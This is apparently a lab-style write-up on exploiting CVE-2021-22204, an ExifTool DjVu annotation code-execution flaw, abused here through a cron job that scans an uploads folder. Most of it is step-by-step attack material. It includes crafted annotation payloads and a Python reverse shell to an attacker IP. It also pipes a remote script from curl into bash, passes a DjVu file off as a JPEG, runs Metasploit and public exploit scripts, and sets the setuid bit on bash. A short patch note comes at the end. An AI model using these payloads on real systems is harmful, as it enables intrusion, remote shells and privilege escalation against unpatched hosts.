ExifTool could allow a local attacker to execute arbitrary code on the system, caused by improper neutralization of user data in the DjVu file format. By using a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system.
Exiftool is a tool and library made in Perl that extracts metadata from almost any type of file. The vulnerability happens when Exiftool tries to parse the DjVu[4] filetype, more specifically the annotations field in the file structure.
To trigger the vulnerable function, we need to create a valid DjVu file that contains an annotation chunk with the payload that will be executed by the eval function as Perl code.
Affected version
7.44 to 12.23
Enumeration
1. Check the tool version
- exiftool -ver
2. Supported extensions
- exiftool -listf
3. Using PSPY script, I noticed a script running quite often /opt/image-exif.sh, before that script I see cron being executed, so, I assume this is a scheduled task
- ./pspy64
4. Reading the contents of /etc/crontab I confirm this is a scheduled task
- less /etc/crontab
5. I tried to read the file, and I had permissions
- ls -l /opt/image-exif.sh
- cat /opt/image-exif.sh
6. Taking a look at the script, it does the following
- inspect jpg files located in /var/www/html/subrion/uploads
- it uses exiftool to read the file and store the EXIF data of each file in /opt/metadata
7. As we verified that exiftool is vulnerable, and it is running to a folder we can write files, we can upload a crafted JPG file so exiftool executes against it
Basic POC
1. Install the required binaries
- sudo apt-get install -y djvulibre-bin
2. Create a file named payload, add the following code
- vi payload
- (metadata “\c${system(‘id’)};”)
- cat payload
3. (OPTIONAL) Compress our payload file with to make it non human-readable
- bzz payload payload.bzz
4. Convert our payload into .djvu file
# INFO = Anything in the format ‘N,N’ where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
- djvumake exploit.djvu INFO=’1,1′ BGjp=/dev/null ANTz=payload.bzz
5. Transfer this file to the victim machine and run exitftool against it, the output should show the contents of “id” command also
- cd /tmp
- wget http://192.168.49.158:8081/exploit.djvu
- exiftool exploit.djvu
Note: Now we have our basic exploit for Exiftool. But a DjVu file isn’t of much use for us, because it is not accepted in most of the file uploads that we find in the wild. Our next goal is to put the malicious payload and execute it from a JPEG file.
Exploitation (Manual)
1. Knowing exiftool’s installed version and confirming it is vulnerable to CVE-2021-22204 (7.44 to 12.23), we proceed to exploit it
- vi exploit.sh
#!/bin/bash
python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.49.158”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
2. Create the payload
- vi payload
- (metadata “\c${system (‘curl http://192.168.49.158/exploit.sh | bash’)};”)
3. Now create a djvu file
- djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=payload
4. Proceed to change the file name to look like .jpg
- mv exploit.djvu exploit.jpg
5. Start the listener and the web server for the file transfer
- python3 -m http.server 8081
- nc -lvp 4444
6. Transfer to the remote machine
- cd /var/www/html/subrion/uploads
- wget http://192.168.49.158:8081/exploit.jpg
Note: As we noticed before, there was a script running in the remote victim machine, it was using exiftool as a scheduled task to inspect jpg files in /var/www/html/subrion/uploads, I will upload exploit.jpg and wait for the task to execute
7. Wait for exiftool to execute the code as per the scheduled task in this case
Alternative commands
This way we get to inject the response within copyright header
- wget -qO sample.jpg placekitten.com/200
- file sample.jpg
- printf ‘P1 1 1 1’ > input.pbm
- cjb2 input.pbm mask.djvu
- djvumake exploit.djvu Sjbz=mask.djvu
- echo -e ‘(metadata (copyright “\\\n” . `id` #”))’ > input.txt
- djvumake exploit.djvu Sjbz=mask.djvu ANTa=input.txt
- exiftool ‘-GeoTiffAsciiParams<=exploit.djvu’ sample.jpg
- perl -0777 -pe ‘s/\x87\xb1/\xc5\x1b/g’ < sample.jpg > exploit.jpg
Exploit (Metasploit)
1. Metasploit has an automated script that creates the .jpg file with a payload
- use exploit/unix/fileformat/exiftool_djvu_ant_perl_injection
- show options
2. Set the payload (I’ll use default) and the LHOST. It will create a file in your home folder in this case (/home/vry4n/.msf4/local/msf.jpg)
- set LHOST 192.168.49.158
- exploit
3. Start a listener, set the same payload as in the previous module
- use exploit/multi/handler
- set payload cmd/unix/python/meterpreter/reverse_tcp
4. Set the payload IP as in the previous module, and run it
- set LHOST 192.168.49.158
- exploit
5. Transfer the file we created into the remote machine, and wait for the task to execute it
- wget http://192.168.49.158:8081/msf.jpg
Exploit (Script)
1. We can also use scripts out on the internet in this case (https://github.com/convisolabs/CVE-2021-22204-exiftool)
- git clone https://github.com/convisolabs/CVE-2021-22204-exiftool.git
- cd CVE-2021-22204-exiftool
2. Edit the exploit.py script, we only need to add our IP address for the reverse shell
- vi exploit.py
3. Run the script, the script will create a file named image.jpg
- python exploit.py
- ls
4. Start a listener using the same port as in the exploit.py file, in this case 9090
- nc -lvp 9090
5. Transfer the file into the server and wait for the schedule task to act on it
- wget http://192.168.49.158:8081/image.jpg
Exploit 2 (Script)
1. There is this other script that allows us to run commands (https://github.com/bilkoh/POC-CVE-2021-22204)
- git clone https://github.com/bilkoh/POC-CVE-2021-22204.git
- cd POC-CVE-2021-22204
2. Run the script and define the command, a file named notevil.jpg will be created
- perl build_image.pl “chmod +s /bin/bash”
3. Transfer the file into the remote server, and, wait for the schedule task to execute exiftool
- wget http://192.168.49.158:8081/notevil.jpg
- ls -l /bin/bash
Before:
After:
Exploit 3 (Script)
1. There is a script in exploit-db that also abuses this vulnerability (https://www.exploit-db.com/exploits/50911)
- wget https://www.exploit-db.com/raw/50911 -O
2. Run it to see its options
- python 50911
3. We can create a file that runs a command, the script creates a image file
- python 50911 -c “mkdir /tmp/Vry4n_test”
- file image.jpg
4. Transfer the file into the server and have it run
- cd /tmp
- wget http://192.168.49.158:8081/image.jpg
- ls
5. Run exiftool against image.jpg, a folder should be created
- exiftool image.jpg
- ls
6. Now, let’s set up a reverse shell, start a listener in the local computer
- nc -lvp 7777
7. Run the script as follows
- python 50911 -s 192.168.49.158 7777
8. Now, transfer the file into the remote machine and have exiftool run
- exiftool image.jpg
9. We can also use our own image
- python 50911 -s <local-IP> <local-port> [-i <image.jpg>]
Remedy
ExifTool has already been patched in version 12.24. exiftool-vendored, which vendors ExifTool, includes this patch in v14.3.0.
Sources
https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/
https://packetstormsecurity.com/files/167038/ExifTool-12.23-Arbitrary-Code-Execution.html
https://github.com/convisolabs/CVE-2021-22204-exiftool
https://www.exploit-db.com/exploits/50911
https://vulners.com/zdt/1337DAY-ID-37713
https://exchange.xforce.ibmcloud.com/vulnerabilities/200616